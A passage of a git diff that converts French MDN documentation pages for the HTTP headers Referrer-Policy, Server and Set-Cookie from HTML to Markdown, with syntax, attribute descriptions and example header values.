utilisant la règle par défaut (`no-referrer-when-downgrade`), moins qu'elle soit remplacée un l'en-tête HTTP `Referrer-Policy` dans la réponse de la feuille de styles CSS. +- Pour les éléments {{HTMLElement("style")}} ou [attributs `style`](/en-US/docs/Web/API/HTMLElement/style), la règle de référent du propriétaire du document est utilisée. + +## Exemples <table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - </tr> - </thead> - <tbody> - <tr> - <td><a href="https://w3c.github.io/webappsec-referrer-policy/#referrer-policy-header">Referrer Policy </a></td> - <td>Brouillon de l'éditeur.</td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Règle</th> + <th scope="col">Document</th> + <th scope="col">Navigation vers</th> + <th scope="col">Référent</th> + </tr> + </thead> + <tbody> + <tr> + <th><code>no-referrer</code></th> + <td>https://example.com/page</td> + <td><em>n'importe où</em></td> + <td><em>(pas de référent)</em></td> + </tr> + <tr> + <th rowspan="3"><code>no-referrer-when-downgrade</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(pas de référent)</em></td> + </tr> + <tr> + <th><code>origin</code></th> + <td>https://example.com/page</td> + <td><em>n'importe où</em></td> + <td>https://example.com/</td> + </tr> + <tr> + <th rowspan="3"><code>origin-when-cross-origin</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.com/page</td> + <td>https://example.com/</td> + </tr> + <tr> + <th rowspan="2"><code>same-origin</code></th> + <td rowspan="2">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td><em>(pas de référent)</em></td> + </tr> + <tr> + <th rowspan="3"><code>strict-origin</code></th> + <td rowspan="2">https://example.com/page</td> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(pas de référent)</em></td> + </tr> + <tr> + <td><strong>http</strong>://example.com/page</td> + <td><em>n'importe où</em></td> + <td>http://example.com/</td> + </tr> + <tr> + <th rowspan="3"><code>strict-origin-when-cross-origin</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(pas de référent)</em></td> + </tr> + <tr> + <th><code>unsafe-url</code></th> + <td>https://example.com/page?q=123</td> + <td><em>n'importe où</em></td> + <td>https://example.com/page?q=123</td> + </tr> + </tbody> </table> -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> - -<p>{{Compat("http.headers.Referrer-Policy")}}</p> - -<div class="note"> - <p><strong>Note :</strong></p> -<ul> - <li>Version 53 et plus, Gecko offre la possibilité aux utilisateurs de définir leur valeur par défaut de <code>Referrer-Policy</code> dans <code>about:config</code>, l'option s'appelant <code>network.http.referer.userControlPolicy</code>.</li> - <li>Version 59 et plus (Voir <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=587523">#587523</a>), il a été remplacé par <code>network.http.referer.defaultPolicy</code> et <code>network.http.referer.defaultPolicy.pbmode</code>.</li> -</ul> - -<p>Les valeurs permises sont :</p> - -<ul> - <li>0 — <code>no-referrer</code></li> - <li>1 — <code>same-origin</code></li> - <li>2 — <code>strict-origin-when-cross-origin</code></li> - <li>3 — <code>no-referrer-when-downgrade</code> (par défaut)</li> -</ul> -</div> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}</li> - <li>En utilisant <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> : {{domxref("Request.referrerPolicy")}}</li> - <li>La directive obsolète {{HTTPHeader("Content-Security-Policy/referrer", "referrer")}} {{Obsolete_Inline}} de l'en-tête {{HTTPHeader("Content-Security-Policy")}}.</li> - <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li> - <li> - <p><a href="https://blog.mozilla.org/security/2015/01/21/meta-referrer/">Tighter Control Over Your Referrers – Mozilla Security Blog</a></p> - </li> -</ul> +### Spécifier une règle par défaut + +Si vous voulez spécifier une règle à appliquer par défaut dans les où la règle voulue n'est pas supportée par les navigateurs, utilisez un liste de valeurs séparées par des virgules avec la règle voulue fournie en dernière position : + + Referrer-Policy: no-referrer, strict-origin-when-cross-origin + +Ici, `no-referrer` ne sera utilisée que si `strict-origin-when-cross-origin` n'est pas supportée par le navigateur. + +> **Note :** Spécifier plusieurs valeurs n'est supporté que dans l'en-tête HTTP `Referrer-Policy` et non dans l'attribut `referrerpolicy`. + +## Spécifications + +| Spécification | Statut | +| ------------------------------------------------------------------------------------------ | ----------------------- | +| [Referrer Policy](https://w3c.github.io/webappsec-referrer-policy/#referrer-policy-header) | Brouillon de l'éditeur. | + +## Compatibilité des navigateurs + +{{Compat("http.headers.Referrer-Policy")}} + +> **Note :** +> +> - Version 53 et plus, Gecko offre la possibilité aux utilisateurs de définir leur valeur par défaut de `Referrer-Policy` dans `about:config`, l'option s'appelant `network.http.referer.userControlPolicy`. +> - Version 59 et plus (Voir [#587523](https://bugzilla.mozilla.org/show_bug.cgi?id=587523)), il a été remplacé par `network.http.referer.defaultPolicy` et `network.http.referer.defaultPolicy.pbmode`. +> +> Les valeurs permises sont : +> +> - 0 — `no-referrer` +> - 1 — `same-origin` +> - 2 — `strict-origin-when-cross-origin` +> - 3 — `no-referrer-when-downgrade` (par défaut) + +## Voir aussi + +- {{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}} +- En utilisant [Fetch](/en-US/docs/Web/API/Fetch_API) : {{domxref("Request.referrerPolicy")}} +- La directive obsolète {{HTTPHeader("Content-Security-Policy/referrer", "referrer")}} {{Obsolete_Inline}} de l'en-tête {{HTTPHeader("Content-Security-Policy")}}. +- [Same-origin policy](/en-US/docs/Web/Security/Same-origin_policy) +- [Tighter Control Over Your Referrers – Mozilla Security Blog](https://blog.mozilla.org/security/2015/01/21/meta-referrer/) diff --git a/files/fr/web/http/headers/server/index.md b/files/fr/web/http/headers/server/index.md index 5aa0a27da7..5ca0b1f538 100644 --- a/files/fr/web/http/headers/server/index.md +++ b/files/fr/web/http/headers/server/index.md @@ -8,64 +8,48 @@ tags: translation_of: Web/HTTP/Headers/Server original_slug: Web/HTTP/Headers/Serveur --- -<div>{{ HTTPSidebar }}</div> +{{ HTTPSidebar }} -<div> </div> +Le paramètre d'entête **`Server`** contient des informations à propos du système (ou sous-système) en place sur le serveur qui s'occupe de la requête. -<p>Le paramètre d'entête <code><strong>Server</strong></code> contient des informations à propos du système (ou sous-système) en place sur le serveur qui s'occupe de la requête.</p> - -<p>Il est préférable d'éviter les valeurs excessivement longues et/ou détaillées : elles peuvent révéler des détails internes qui pourraient rendre (un peu) plus facile une attaque et l'exploitation d'une éventuelle faille de sécurité.</p> +Il est préférable d'éviter les valeurs excessivement longues et/ou détaillées : elles peuvent révéler des détails internes qui pourraient rendre (un peu) plus facile une attaque et l'exploitation d'une éventuelle faille de sécurité. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'entête</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Server: <valeur> -</pre> + Server: <valeur> -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><valeur></dt> - <dd>Le nom du système (ou sous-système) qui gère les requêtes.</dd> -</dl> +- \<valeur> + - : Le nom du système (ou sous-système) qui gère les requêtes. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Server: Apache/2.4.1 (Unix)</pre> + Server: Apache/2.4.1 (Unix) -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7231", "Server", "7.4.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Specification | Title | +| -------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "Server", "7.4.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Navigateurs_compatibles">Navigateurs compatibles</h2> +## Navigateurs compatibles -<p>{{Compat("http.headers.Server")}}</p> +{{Compat("http.headers.Server")}} -<h2 id="Voir_également">Voir également</h2> +## Voir également -<ul> - <li>{{HTTPHeader("Allow")}}</li> -</ul> +- {{HTTPHeader("Allow")}} diff --git a/files/fr/web/http/headers/set-cookie/index.md b/files/fr/web/http/headers/set-cookie/index.md index 5208808eb7..df60ff6351 100644 --- a/files/fr/web/http/headers/set-cookie/index.md +++ b/files/fr/web/http/headers/set-cookie/index.md @@ -10,204 +10,187 @@ tags: - samesite translation_of: Web/HTTP/Headers/Set-Cookie --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête de réponse HTTP <strong><code>Set-Cookie</code></strong> est utilisé pour envoyer un cookie depuis le serveur à l'agent utilisateur afin qu'il puisse le renvoyer dans l'avenir.</span> Pour envoyer plusieurs cookies, on enverra plusieurs en-têtes <code>Set-Cookie</code> dans la même réponse.</p> +L'en-tête de réponse HTTP **`Set-Cookie`** est utilisé pour envoyer un cookie depuis le serveur à l'agent utilisateur afin qu'il puisse le renvoyer dans l'avenir. Pour envoyer plusieurs cookies, on enverra plusieurs en-têtes `Set-Cookie` dans la même réponse. -<div class="warning"> - <p><strong>Attention :</strong> Les navigateurs empêchent le code JavaScript <i>front-end</i> d'accéder à l'en-tête <code>Set-Cookie</code>, comme l'exige la spécification Fetch, qui définit <code>Set-Cookie</code> comme un <a href="https://fetch.spec.whatwg.org/#forbidden-response-header-name">nom d'en-tête de réponse interdit</a> qui <a href="https://fetch.spec.whatwg.org/#ref-for-forbidden-response-header-name%E2%91%A0">doit être filtré</a> de toute réponse exposée au code <i>front-end</i>.</p> -</div> +> **Attention :** Les navigateurs empêchent le code JavaScript _front-end_ d'accéder à l'en-tête `Set-Cookie`, comme l'exige la spécification Fetch, qui définit `Set-Cookie` comme un [nom d'en-tête de réponse interdit](https://fetch.spec.whatwg.org/#forbidden-response-header-name) qui [doit être filtré](https://fetch.spec.whatwg.org/#ref-for-forbidden-response-header-name%E2%91%A0) de toute réponse exposée au code _front-end_. -<p>Pour plus d'information, voir le <a href="/fr/docs/Web/HTTP/Cookies">guide sur les cookies HTTP</a>.</p> +Pour plus d'information, voir le [guide sur les cookies HTTP](/fr/docs/Web/HTTP/Cookies). <table class="properties"> <tbody> <tr> <th scope="row">Type d'en-tête</th> - <td><a href="/fr/docs/Glossary/Response_header">En-tête de réponse</a></td> + <td> + <a href="/fr/docs/Glossary/Response_header">En-tête de réponse</a> + </td> </tr> <tr> - <th scope="row"><a href="/fr/docs/Glossary/Forbidden_header_name">Nom d'en-tête interdit</a></th> + <th scope="row"> + <a href="/fr/docs/Glossary/Forbidden_header_name" + >Nom d'en-tête interdit</a + > + </th> <td>Non</td> </tr> <tr> - <th scope="row"><a href="https://fetch.spec.whatwg.org/#forbidden-response-header-name">Nom d'en-tête de réponse interdit</a></th> + <th scope="row"> + <a href="https://fetch.spec.whatwg.org/#forbidden-response-header-name" + >Nom d'en-tête de réponse interdit</a + > + </th> <td>Oui</td> </tr> </tbody> </table> -<h2 id="syntax">Syntaxe</h2> - -<pre class="syntaxbox">Set-Cookie: <cookie-name>=<cookie-value> -Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date> -Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> -Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> -Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value> -Set-Cookie: <cookie-name>=<cookie-value>; Secure -Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly - -Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict -Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax -Set-Cookie: <cookie-name>=<cookie-value>; SameSite=None - -// L'usage d'attributs multiples est également possible, par exemple : -Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly</pre> - -<h2 id="attributes">Attributs</h2> - -<dl> - <dt><code><cookie-name>=<cookie-value></code></dt> - <dd><p>Un cookie commence par une paire nom-valeur:</p> - <ul> - <li>Le nom porté par <code><cookie-name></code> peut-être composé de n'importe quels caractères ASCII, à l'exception des caractères de contrôle, d'espace, de tabulation et des caractères de séparation suivants : <code>( ) < > @ , ; : \ " / [ ] ? = { }</code>.</li> - <li>La valeur, <code><cookie-value></code>, peut éventuellement être entourée de guillemets doubles et peut être composée de n'importe quel caractère ASCII à l'exception des caractères de contrôle, des blancs, des guillemets doubles, d'une virgule, d'un point-virgule ou d'une barre oblique inversée (<i>backslash</i>). <strong>Encodage</strong> : de nombreuses implémentations encodent les caractères d'URL (<i>URL-encoding</i>) bien que ce ne soit pas nécessaire selon la RFC. Une telle transformation facilite tout de même l'utilisation de caractères autorisés.</li> - <li>Le préfixe <strong><code>__Secure-</code></strong> : les cookies commençant par <code>__Secure-</code> (le tiret fait partie du préfixe) doivent être définis avec le drapeau <code>secure</code> depuis une page sécurisée (HTTPS).</li> - <li>Le préfixe <strong><code>__Host-</code></strong> : Les cookies commençant par <code>__Host-</code> doivent être définis avec le drapeau <code>secure</code>, depuis une page sécurisée (HTTPS), ne doivent pas avoir de domaine spécifié (et donc pas envoyé à un sous-domaine) et le chemin doit être <code>/</code>.</li> - </ul> - </dd> - <dt><code>Expires=<date></code> {{optional_inline}}</dt> - <dd> - <p>Le temps de vie maximal d'un cookie sous la forme d'une date HTTP. Voir <a href="/fr/docs/Web/HTTP/Headers/Date"><code>Date</code></a> pour le format requis.</p> - - <p>Si non spécifié, le cookie devient un <strong>cookie de session</strong>. Une session finit quand le client s'arrête, les cookies de sessions sont alors supprimés à ce moment.</p> - - <div class="warning"> - <p><strong>Attention :</strong> Plusieurs navigateurs ont un système de récupération de session qui enregistre les onglets et les restaure quand le navigateur redémarre. Les cookies de session seront aussi restaurés comme si le navigateur ne s'était jamais arrêté.</p> - </div> - - <p>Quand une telle date de péremption est indiquée, elle est relative au <em>client</em> et pas au serveur.</p> - </dd> - <dt><code>Max-Age=<number> </code>{{optional_inline}}</dt> - <dd>Le nombre de secondes avant son expiration. Une valeur nulle ou négative fera expirer immédiatement le cookie. Si <code>Expires</code> et <code>Max-Age</code> sont configurés, <code>Max-Age</code> sera prioritaire.</dd> - <dt><code>Domain=<domain-value></code> {{optional_inline}}</dt> - <dd><p>Le domaine où le cookie sera envoyé.</p> - <ul> - <li>Si omis, la valeur par défaut sera l'hôte de l'URL du document courant. Les sous-domaines ne seront pas inclus.</li> - <li>Contrairement aux anciennes spécifications, le point au début dans les noms de domaines (<code>.example.com</code>) est ignoré.</li> - <li>Plusieurs valeurs de domaine ne sont pas permises. Si un nom de domaine est spécifié, les sous domaines sont toujours inclus.</li> - </ul> - </dd> - <dt><code>Path=<path-value></code> {{optional_inline}}</dt> - <dd>Un chemin qui doit exister dans l'URL de la requête ou le navigateur n'enverra pas d'en-tête <code>Cookie</code> correspondante par la suite. La barre oblique (<code>/</code>) est interprétée comme un séparateur de répertoire. Les sous-répertoires sont inclus, par exemple: pour <code>Path=/docs</code> les répertoires <code>/docs</code>, <code>/docs/Web/</code> et <code>/docs/Web/HTTP</code> sont concernés.</dd> - <dt><code>Secure</code> {{optional_inline}}</dt> - <dd><p>Un cookie sécurisé est envoyé uniquement si la requête est faite en <code>https:</code> (sauf pour <i>localhost</i>). Cependant des informations confidentielles ne devraient jamais être enregistrées dans un cookie classique, en effet le mécanique est non sécurisé et ne chiffre aucune information.</p> - <div class="notecard note"> - <p><strong>Note :</strong> Les sites non sécurisés (<code>http:</code>) ne peuvent plus définir des cookies <code></code>Secure</code> désormais (depuis Chrome 52+ et Firefox 52+). Depuis Firefox 75, cette restriction ne s'applique pas pour <i>localhost</i>.</p> - </div> - </dd> - <dt><code>HttpOnly</code> {{optional_inline}}</dt> - <dd>Empêche JavaScript d'accéder au cookie; par exemple, au travers de la propriété <a href="/fr/docs/Web/API/Document/cookie"><code>Document.cookie</code></a>, de l'API <a href="/fr/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a> ou de l'API <a href="/fr/docs/Web/API/Request"><code>Request</code></a>. Cela protège des attaques <em>cross-site scripting</em> (<a href="/fr/docs/Glossary/XSS">XSS</a>).</dd> - <dt><code>SameSite=<samesite-value></code> {{optional_inline}}</dt> - <dd><p>Contrôle si un cookie est envoyé avec les requêtes d'origine croisée, offrant ainsi une certaine protection contre les attaques de falsification de requêtes inter-sites (<a href="/fr/docs/Glossary/CSRF">CSRF</a>).</p> - <div class="notecard note"> - <p><strong>Note :</strong> Les normes relatives aux <a href="/fr/docs/Web/HTTP/Headers/Set-Cookie/SameSite">Cookies SameSite</a> ont récemment changé de telle sorte que :</p> - - <ol> - <li>Le comportement d'envoi des cookies si <code>SameSite</code> n'est pas spécifié est <code>SameSite=Lax</code>. Auparavant, le comportement par défaut était que les cookies étaient envoyés pour toutes les requêtes.</li> - <li>Les cookies avec <code>SameSite=None</code> doivent désormais également spécifier l'attribut <code>Secure</code> (c'est-à-dire qu'ils nécessitent un contexte sécurisé).</li> - </ol> - - <p>Les options ci-dessous couvrent le nouveau comportement. Voir le tableau <a href="/fr/docs/Web/HTTP/Headers/Set-Cookie/SameSite#browser_compatibility">Compatibilité des navigateurs</a> pour des informations sur la mise en œuvre spécifique des navigateurs (lignes : « <code>SameSite</code> : Defaults to <code>Lax</code> » et « <code>SameSite</code> : Secure context required »).</p> - </div> - <p>Les options sont :</p> - <ul> - <li><code>Strict</code> : le navigateur envoie le cookie uniquement pour les demandes provenant du même site (c'est-à-dire les demandes provenant du même site qui a défini le cookie). Si la demande provient d'une URL différente de l'URL actuelle, aucun cookie avec l'attribut <code>SameSite=Strict</code> n'est envoyé.</li> - <li><code>Lax</code> : Le cookie n'est pas envoyé sur les requêtes inter-sites, telles que les appels pour charger des images ou des <i>iframes</i>, mais il est envoyé lorsqu'un utilisateur navigue vers le site d'origine à partir d'un site externe (par exemple, s'il suit un lien). C'est le comportement par défaut si l'attribut <code>SameSite</code> n'est pas spécifié.</li> - <li><code>None</code> : Le navigateur envoie le cookie avec les requêtes inter-sites et les requêtes sur un même site. L'attribut <code>Secure</code> doit également être défini lorsque <code>SameSite=None</code> !</li> - </ul> - </dd> -</dl> - -<h2 id="examples">Exemples</h2> - -<h3 id="session_cookie">Cookie de session</h3> - -<p><strong>Les cookies de session</strong> sont supprimés quand le client s'éteint. Les cookies sont des cookies de session s'ils n'ont pas de directive <code>Expires</code> ou <code>Max-Age</code>.</p> - -<pre>Set-Cookie: sessionId=38afes7a8</pre> - -<h3 id="permanent_cookie">Cookie permanent</h3> - -<p>Au lieu d'expirer lorsque le client est fermé, les <strong>cookies permanents</strong> expirent à une date spécifique (<code>Expires</code>) ou après une valeur de temps (<code>Max-Age</code>).</p> - -<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT</pre> - -<pre>Set-Cookie: id=a3fWa; Max-Age=2592000</pre> - -<h3 id="invalid_domains">Domaines invalides</h3> - -<p>Un cookie pour un domaine qui n'inclut pas le serveur qui le définit <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3"> doit être rejeté par l'agent utilisateur</a>.</p> - -<p>Le cookie suivant sera rejeté si le serveur est hébergé sur <code>originalcompany.com</code>:</p> - -<pre>Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk</pre> - -<p>Un cookie pour un sous-domaine du domaine servi sera rejeté.</p> - -<p>Le cookie suivant sera rejeté si le serveur est hébergé sur <code>example.com</code>:</p> +## Syntaxe -<pre>Set-Cookie: sessionId=e8bb43229de9; Domain=foo.example.com</pre> - -<h3 id="cookie_prefixes">Préfixes de cookie</h3> + Set-Cookie: <cookie-name>=<cookie-value> + Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date> + Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> + Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> + Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value> + Set-Cookie: <cookie-name>=<cookie-value>; Secure + Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly -<p>Les cookies préfixés par <code>__Secure-</code> ou <code>__Host-</code> peuvent être utilisés seulement s'ils sont définis avec l'attribut <code>secure</code> depuis une origine sécurisée (HTTPS).</p> - -<p>De plus, les cookies avec le préfixe <code>__Host-</code> doivent avoir un <code>path</code> qui vaut <code>/</code> (donc tous les chemins de l'hôte) et ne doivent pas avoir d'attribut <code>Domain</code>.</p> - -<div class="warning"> - <p><strong>Attention :</strong> Pour les clients qui n'implémentent pas les préfixes de cookies, vous ne pouvez pas compter sur ces contraintes, les cookies avec un préfixe seront toujours acceptés.</p> -</div> - -<pre>// Les deux sont acceptés s'ils viennent d'une origine sécurisée (HTTPS) -Set-Cookie: __Secure-ID=123; Secure; Domain=example.com -Set-Cookie: __Host-ID=123; Secure; Path=/ + Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict + Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax + Set-Cookie: <cookie-name>=<cookie-value>; SameSite=None -// Rejeté car l'attribut Secure est manquant -Set-Cookie: __Secure-id=1 + // L'usage d'attributs multiples est également possible, par exemple : + Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly -// Rejeté car l'attribut Path=/ est manquant -Set-Cookie: __Host-id=1; Secure +## Attributs -// Rejeté à cause du domaine qui est spécifié -Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com</pre> +- `<cookie-name>=<cookie-value>` -<h2 id="specifications">Spécifications</h2> + - : Un cookie commence par une paire nom-valeur: -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td> - <td>HTTP State Management Mechanism</td> - </tr> - <tr> - <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05">draft-ietf-httpbis-rfc6265bis-05</a></td> - <td>Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies</td> - </tr> - </tbody> -</table> + - Le nom porté par `<cookie-name>` peut-être composé de n'importe quels caractères ASCII, à l'exception des caractères de contrôle, d'espace, de tabulation et des caractères de séparation suivants : `( ) < > @ , ; : \ " / [ ] ? = { }`. + - La valeur, `<cookie-value>`, peut éventuellement être entourée de guillemets doubles et peut être composée de n'importe quel caractère ASCII à l'exception des caractères de contrôle, des blancs, des guillemets doubles, d'une virgule, d'un point-virgule ou d'une barre oblique inversée (_backslash_). **Encodage** : de nombreuses implémentations encodent les caractères d'URL (_URL-encoding_) bien que ce ne soit pas nécessaire selon la RFC. Une telle transformation facilite tout de même l'utilisation de caractères autorisés. + - Le préfixe **`__Secure-`** : les cookies commençant par `__Secure-` (le tiret fait partie du préfixe) doivent être définis avec le drapeau `secure` depuis une page sécurisée (HTTPS). + - Le préfixe **`__Host-`** : Les cookies commençant par `__Host-` doivent être définis avec le drapeau `secure`, depuis une page sécurisée (HTTPS), ne doivent pas avoir de domaine spécifié (et donc pas envoyé à un sous-domaine) et le chemin doit être `/`. + +- `Expires=<date>` {{optional_inline}} + + - : Le temps de vie maximal d'un cookie sous la forme d'une date HTTP. Voir [`Date`](/fr/docs/Web/HTTP/Headers/Date) pour le format requis. + + Si non spécifié, le cookie devient un **cookie de session**. Une session finit quand le client s'arrête, les cookies de sessions sont alors supprimés à ce moment. + + > **Attention :** Plusieurs navigateurs ont un système de récupération de session qui enregistre les onglets et les restaure quand le navigateur redémarre. Les cookies de session seront aussi restaurés comme si le navigateur ne s'était jamais arrêté. + + Quand une telle date de péremption est indiquée, elle est relative au _client_ et pas au serveur. + +- `Max-Age=<number> `{{optional_inline}} + - : Le nombre de secondes avant son expiration. Une valeur nulle ou négative fera expirer immédiatement le cookie. Si `Expires` et `Max-Age` sont configurés, `Max-Age` sera prioritaire. +- `Domain=<domain-value>` {{optional_inline}} + + - : Le domaine où le cookie sera envoyé. + + - Si omis, la valeur par défaut sera l'hôte de l'URL du document courant. Les sous-domaines ne seront pas inclus. + - Contrairement aux anciennes spécifications, le point au début dans les noms de domaines (`.example.com`) est ignoré. + - Plusieurs valeurs de domaine ne sont pas permises. Si un nom de domaine est spécifié, les sous domaines sont toujours inclus. + +- `Path=<path-value>` {{optional_inline}} + - : Un chemin qui doit exister dans l'URL de la requête ou le navigateur n'enverra pas d'en-tête `Cookie` correspondante par la suite. La barre oblique (`/`) est interprétée comme un séparateur de répertoire. Les sous-répertoires sont inclus, par exemple: pour `Path=/docs` les répertoires `/docs`, `/docs/Web/` et `/docs/Web/HTTP` sont concernés. +- `Secure` {{optional_inline}} + + - : Un cookie sécurisé est envoyé uniquement si la requête est faite en `https:` (sauf pour _localhost_). Cependant des informations confidentielles ne devraient jamais être enregistrées dans un cookie classique, en effet le mécanique est non sécurisé et ne chiffre aucune information. + + > **Note :** Les sites non sécurisés (`http:`) ne peuvent plus définir des cookies ``Secure désormais (depuis Chrome 52+ et Firefox 52+). Depuis Firefox 75, cette restriction ne s'applique pas pour _localhost_. + +- `HttpOnly` {{optional_inline}} + - : Empêche JavaScript d'accéder au cookie; par exemple, au travers de la propriété [`Document.cookie`](/fr/docs/Web/API/Document/cookie), de l'API [`XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest) ou de l'API [`Request`](/fr/docs/Web/API/Request). Cela protège des attaques _cross-site scripting_ ([XSS](/fr/docs/Glossary/XSS)). +- `SameSite=<samesite-value>` {{optional_inline}} + + - : Contrôle si un cookie est envoyé avec les requêtes d'origine croisée, offrant ainsi une certaine protection contre les attaques de falsification de requêtes inter-sites ([CSRF](/fr/docs/Glossary/CSRF)). + + > **Note :** Les normes relatives aux [Cookies SameSite](/fr/docs/Web/HTTP/Headers/Set-Cookie/SameSite) ont récemment changé de telle sorte que : + > + > 1. Le comportement d'envoi des cookies si `SameSite` n'est pas spécifié est `SameSite=Lax`. Auparavant, le comportement par défaut était que les cookies étaient envoyés pour toutes les requêtes. + > 2. Les cookies avec `SameSite=None` doivent désormais également spécifier l'attribut `Secure` (c'est-à-dire qu'ils nécessitent un contexte sécurisé). + > + > Les options ci-dessous couvrent le nouveau comportement. Voir le tableau [Compatibilité des navigateurs](/fr/docs/Web/HTTP/Headers/Set-Cookie/SameSite#browser_compatibility) pour des informations sur la mise en œuvre spécifique des navigateurs (lignes : « `SameSite` : Defaults to `Lax` » et « `SameSite` : Secure context required »). + + Les options sont : + + - `Strict` : le navigateur envoie le cookie uniquement pour les demandes provenant du même site (c'est-à-dire les demandes provenant du même site qui a défini le cookie). Si la demande provient d'une URL différente de l'URL actuelle, aucun cookie avec l'attribut `SameSite=Strict` n'est envoyé. + - `Lax` : Le cookie n'est pas envoyé sur les requêtes inter-sites, telles que les appels pour charger des images ou des _iframes_, mais il est envoyé lorsqu'un utilisateur navigue vers le site d'origine à partir d'un site externe (par exemple, s'il suit un lien). C'est le comportement par défaut si l'attribut `SameSite` n'est pas spécifié. + - `None` : Le navigateur envoie le cookie avec les requêtes inter-sites et les requêtes sur un même site. L'attribut `Secure` doit également être défini lorsque `SameSite=None` ! + +## Exemples + +### Cookie de session + +**Les cookies de session** sont supprimés quand le client s'éteint. Les cookies sont des cookies de session s'ils n'ont pas de directive `Expires` ou `Max-Age`. + + Set-Cookie: sessionId=38afes7a8 + +### Cookie permanent + +Au lieu d'expirer lorsque le client est fermé, les **cookies permanents** expirent à une date spécifique (`Expires`) ou après une valeur de temps (`Max-Age`). + + Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT + +<!----> + + Set-Cookie: id=a3fWa; Max-Age=2592000 + +### Domaines invalides + +Un cookie pour un domaine qui n'inclut pas le serveur qui le définit [doit être rejeté par l'agent utilisateur](https://tools.ietf.org/html/rfc6265#section-4.1.2.3). + +Le cookie suivant sera rejeté si le serveur est hébergé sur `originalcompany.com`: + + Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk + +Un cookie pour un sous-domaine du domaine servi sera rejeté. + +Le cookie suivant sera rejeté si le serveur est hébergé sur `example.com`: + + Set-Cookie: sessionId=e8bb43229de9; Domain=foo.example.com + +### Préfixes de cookie + +Les cookies préfixés par `__Secure-` ou `__Host-` peuvent être utilisés seulement s'ils sont définis avec l'attribut `secure` depuis une origine sécurisée (HTTPS). + +De plus, les cookies avec le préfixe `__Host-` doivent avoir un `path` qui vaut `/` (donc tous les chemins de l'hôte) et ne doivent pas avoir d'attribut `Domain`. + +> **Attention :** Pour les clients qui n'implémentent pas les préfixes de cookies, vous ne pouvez pas compter sur ces contraintes, les cookies avec un préfixe seront toujours acceptés. + + // Les deux sont acceptés s'ils viennent d'une origine sécurisée 